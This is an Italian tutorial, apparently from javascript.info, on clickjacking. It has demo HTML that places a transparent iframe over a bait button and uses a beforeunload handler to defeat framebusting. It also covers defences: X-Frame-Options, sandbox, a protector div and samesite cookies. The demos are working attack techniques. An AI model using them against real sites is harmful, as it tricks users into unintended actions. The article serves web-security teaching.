Lâattacco âclickjackingâ consente ad una pagina maligna di cliccare su un âsito vittimaâ per conto dellâutente.
Molti siti hanno subito attacchi di questo tipo, inclusi Twitter, Facebook, Paypal e molti altri. Ovviamente, il problema in questi siti è stato risolto.
Lâidea
Lâidea è piuttosto semplice.
Il clickjacking nel caso di Facebook funzionava in questo modo:
- Un visitatore viene attirato da una pagina maligna. Non importa come.
- La pagina contiene un link allâapparenza innocuo (con scritto ad esempio âdiventa ricco oraâ oppure âclicca qui, è molto divertenteâ).
- Sopra quel link la pagina malevola posiziona un
<iframe>trasparente consrcproveniente da facebook.com, in questo modo il bottone di âMi piaceâ è proprio sopra al link. Solitamente viene fatto utilizzandoz-index. - Nel tentativo di cliccare il link, il visitatore in realtà clicca il bottone.
La dimostrazione
Qui vediamo come appare la pagina malevola. Per rendere le cose più chiare, lâ<iframe> è semi-trasparente (nelle pagine reali invece è completamente trasparente):
<style>
iframe { /* iframe dal sito vittima */
width: 400px;
height: 100px;
position: absolute;
top:0; left:-20px;
opacity: 0.5; /* in realtà sarà opacity:0 */
z-index: 1;
}
</style>
<div>Click to get rich now:</div>
<!-- L'url del sito vittima -->
<iframe src="/clickjacking/facebook.html"></iframe>
<button>Click here!</button>
<div>...And you're cool (I'm a cool hacker actually)!</div>
La dimostrazione completa di come funziona lâattacco:
<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
<input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html><!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<style>
iframe {
width: 400px;
height: 100px;
position: absolute;
top: 5px;
left: -14px;
opacity: 0.5;
z-index: 1;
}
</style>
<div>Click to get rich now:</div>
<!-- l'url del sito vittima -->
<iframe src="facebook.html"></iframe>
<button>Click here!</button>
<div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>Qui abbiamo un <iframe src="facebook.html"> semi-trasparente, e nellâesempio possiamo vederlo andando in hover sul bottone. Un click nel bottone in realtà andrà a cliccare nellâiframe, ma questo non sarà visibile allâutente, perché lâiframe è trasparente.
Come risultato, se lâutente è autenticato su Facebook (âricordamiâ solitamente è attivo), allora aggiungerà un âMi piaceâ. Su twitter potrebbe corrispondere al bottone di âSeguiâ.
Qui vediamo lo stesso esempio, ma più simile a come apparirebbe realmente, con opacity:0 nellâ<iframe>:
<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
<input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html><!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<style>
iframe {
width: 400px;
height: 100px;
position: absolute;
top: 5px;
left: -14px;
opacity: 0;
z-index: 1;
}
</style>
<div>Click to get rich now:</div>
<!-- l''url del sito vittima -->
<iframe src="facebook.html"></iframe>
<button>Click here!</button>
<div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>Tutto ciò di cui abbiamo bisogno per lâattacco, è posizione lâ<iframe> nella pagina maligna, facendo in modo che il bottone sia proprio sopra il link. Quindi quando lâutente proverà a cliccare il link, in realtà cliccherà il bottone. Tutto questo solitamente è fattibile utilizzando qualche proprietà CSS.
Questo tipo di attacco colpisce solamente le azioni effettuate con il mouse (o in maniera analoga, il tocco su dispositivi mobile).
Gli input da tastiera sono più difficili da reindirizzare. Tecnicamente, se volessimo attaccare un campo di testo, allora potremmo posizionare un iframe in modo che i campi di testo si sovrappongano. Quindi quando un utente proverà ad andare in focus sullâinput che vedono nella pagina, in realtà starà impostando il focus sullâiframe.
Ma in questo caso avremmo un problema. Tutto ciò che lâutente scriverà sarà invisibile, perché anche lâiframe lo è.
Un utente solitamente smette di digitare quando notanche nessun carattere sta apparendo sullo schermo.
Difesa vecchia scuola (debole)
La più vecchia difesa contro questi attacchi consiste in un paio di righe di codice JavaScript che bloccano lâapertura di pagine allâinterno degli iframe (cosidetto âframebustingâ).
Il codice è qualcosa del genere:
if (top != window) {
top.location = window.location;
}
Ovvero: se una finestra non è in cima, allora pone automaticamente se stessa in cima.
Non è una difesa molto affidabile, poiché ci sono diversi modi per aggirarla. Vediamone un paio.
Bloccare la navigazione della finestra in cima
Possiamo bloccare a transizione causata dal cambio di top.location nellâhandler beforeunload.
La pagina in cima (quella che fa da contenitore, ovvero quella appartenente alla pagina maligna) può impostare un gestore di evento per bloccarlo, in questo modo:
window.onbeforeunload = function() {
return false;
};
Quando lâiframe proverà a cambiare la top.location, lâutente riceverà un messaggio che gli chiederà se ha intenzione di lasciare la pagina.
Nella maggior parte dei casi, lâutente risponderà di no, perché non è a conoscenza dellâiframe, tutto ciò che vede è la pagina in cima, non ha quindi alcun motivo per lasciare la pagina. Quindi top.location non cambierà !
In azione:
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<div>Changes top.location to javascript.info</div>
<script>
top.location = 'https://javascript.info';
</script>
</body>
</html><!doctype html>
<html>
<head>
<meta charset="UTF-8">
<style>
iframe {
width: 400px;
height: 100px;
position: absolute;
top: 0;
left: -20px;
opacity: 0;
z-index: 1;
}
</style>
<script>
function attack() {
window.onbeforeunload = function() {
window.onbeforeunload = null;
return "Want to leave without learning all the secrets (he-he)?";
};
document.body.insertAdjacentHTML('beforeend', '<iframe src="iframe.html">');
}
</script>
</head>
<body>
<p>After a click on the button the visitor gets a "strange" question about whether they want to leave.</p>
<p>Probably they would respond "No", and the iframe protection is hacked.</p>
<button onclick="attack()">Add a "protected" iframe</button>
</body>
</html>Lâattributo sandbox
Una delle cose che vengono limitate dallâattributo sandbox è la navigazione. Un iframe con questo attributo, non può cambiare top.location.
Quindi possiamo aggiungere lâiframe con sandbox="allow-scripts allow-forms". In questo modo disattiveremo le restrizioni, permettendo lâesecuzione di script e form. Ma lasciando attivo allow-top-navigation in questo modo top.location non potrà cambiare.
Vediamo il codice:
<iframe sandbox="allow-scripts allow-forms" src="facebook.html"></iframe>
Ci sono altri modi per aggirare questa protezione.
X-Frame-Options
Lâheader server-side X-Frame-Options consente di definire se permettere o meno lâapertura di una pagina allâinterno di un iframe.
Deve essere inviato come HTTP-header: il browser lo ignorerà se provate ad inserirlo tarmite il tag <meta>. Quindi, <meta http-equiv="X-Frame-Options"...> non avrà alcun effetto.
Lâheader può assumere 3 valori:
DENY- Non mostrare mai la pagina dentro un iframe.
SAMEORIGIN- Consenti di mostrare la pagina dentro un iframe, se appartiene alla stessa origine.
ALLOW-FROM domain- Consenti di mostrare la pagina dentro un iframe se il documento genitore appartiene al
domainfornito.
Ad esempio, Twitter utilizza X-Frame-Options: SAMEORIGIN.
Qui vediamo il risultato:
<iframe src="https://twitter.com"></iframe>
In base al browser che state utilizzando, lâiframe definito sopra potrebbe o essere vuoto oppure avvertirvi che il browser non permette alla pagina questo tipo di navigazione.
Visualizzazione con funzionalità limitate
Lâutilizzo dellâheader X-Frame-Options causa un side-effect. Le altre pagine non saranno in grado di mostrare la nostra pagina in un iframe, anche se queste non avessero scopi malevoli.
Quindi ci sono altre soluzioni⦠Ad esempio, possiamo âracchiudereâ la pagina con un <div> e impostargli come stile height: 100%; width: 100%;, in questo modo intercetterà tutti i click. Andremo poi a rimuovere quel <div> nel caso in cui window == top o se ci rendiamo conto di non avere bisogno di questa protezione.
In questo modo:
<style>
#protector {
height: 100%;
width: 100%;
position: absolute;
left: 0;
top: 0;
z-index: 99999999;
}
</style>
<div id="protector">
<a href="/" target="_blank">Go to the site</a>
</div>
<script>
// verrà generato un errore se la finestra in cima appartiene ad un'origin differente
// ma in questo caso ci va bene
if (top.document.domain == document.domain) {
protector.remove();
}
</script>
La dimostrazione:
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<style>
#protector {
height: 100%;
width: 100%;
position: absolute;
left: 0;
top: 0;
z-index: 99999999;
}
</style>
</head>
<body>
<div id="protector">
<a href="/" target="_blank">Go to the site</a>
</div>
<script>
if (top.document.domain == document.domain) {
protector.remove();
}
</script>
This text is always visible.
But if the page was open inside a document from another domain, the div over it would prevent any actions.
<button onclick="alert(1)">Click wouldn't work in that case</button>
</body>
</html><!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<iframe src="iframe.html"></iframe>
</body>
</html>Lâattributo samesite dei cookie
Anche lâattributo samesite dei cookie aiuta a prevenire attacchi di tipo clickjacking.
Un cookie con questo attributo viene inoltrato al sito solamente se questo viene aperto direttamente, senza passare per un iframe, o qualche altra via. Potete trovare maggiori informazioni nellâarticolo Cookies, document.cookie.
Se il sito, ad esempio Facebook, nei suoi cookie di autenticazione ha impostato lâattributo samesite, come nellâesempio:
Set-Cookie: authorization=secret; samesite
â¦Allora questo cookie non verrà inviato se Facebook viene aperto in un iframe da un altro sito. Quindi lâattacco fallirà .
Lâattributo samesite dei cookie non ha alcun effetto nel caso in cui questi non vengano utilizzati. Questo consente ad altre pagine di mostrare i contenuti pubblici, e che non richiedono autenticazione negli iframe.
Per questo, gli attacchi di tipo clickjacking sono comunque possibili in alcuni casi limite. Ad esempio, un sito di sondaggi anonimi che evita la duplicazione dei voti controllando gli indirizzi IP, sarebbe ancora vulnerabili agli attacchi clickjacking, poiché non hanno alcun processo di autenticazione tramite cookie.
Riepilogo
Il clickjacking è un modo per âingannareâ gli utenti facendoli cliccare in un sito vittima, senza che questi ne siano consapevoli. Questo attacco può risultare particolarmente pericoloso nel caso in cui vengano effettuate azioni importanti.
Un hacker può condividere un link nella sua pagina malevola, attirare gli utenti sulla sua pagina con una scusa qualsiasi. Esistono diversi modi per farlo.
Da un certo punto di vista, lâattacco non è così complesso: ciò che deve fare lâhacker è semplicemente intercettare un click. Però, se lâhacker è a conoscenza di ciò che apparirà dopo il click, allora potrà utilizzare dei messaggi astuti per convincere lâutente a cliccare anche sui successivi controlli.
Lâattacco può essere piuttosto pericoloso, perché quando implementiamo la UI (interfaccia utente), solitamente non prendiamo in considerazione il fatto che un hacker potrebbe effettuare un click al posto di un utente. Quindi possiamo trovare vulnerabilità nei posti più inaspettati.
- Eâ sempre consigliato utilizzare
X-Frame-Options: SAMEORIGINnelle pagine (o anche nellâintero sito) che non abbiamo intenzione vengano mostrare allâinterno degli iframe. - Possiamo utilizzare un
<div>âcontenitoreâ se vogliamo consentire alle nostre pagine di essere mostrare negli iframe, ma rimanere comunque protetti.
Commenti
<code>, per molte righe â includile nel tag<pre>, per più di 10 righe â utilizza una sandbox (plnkr, jsbin, codepenâ¦)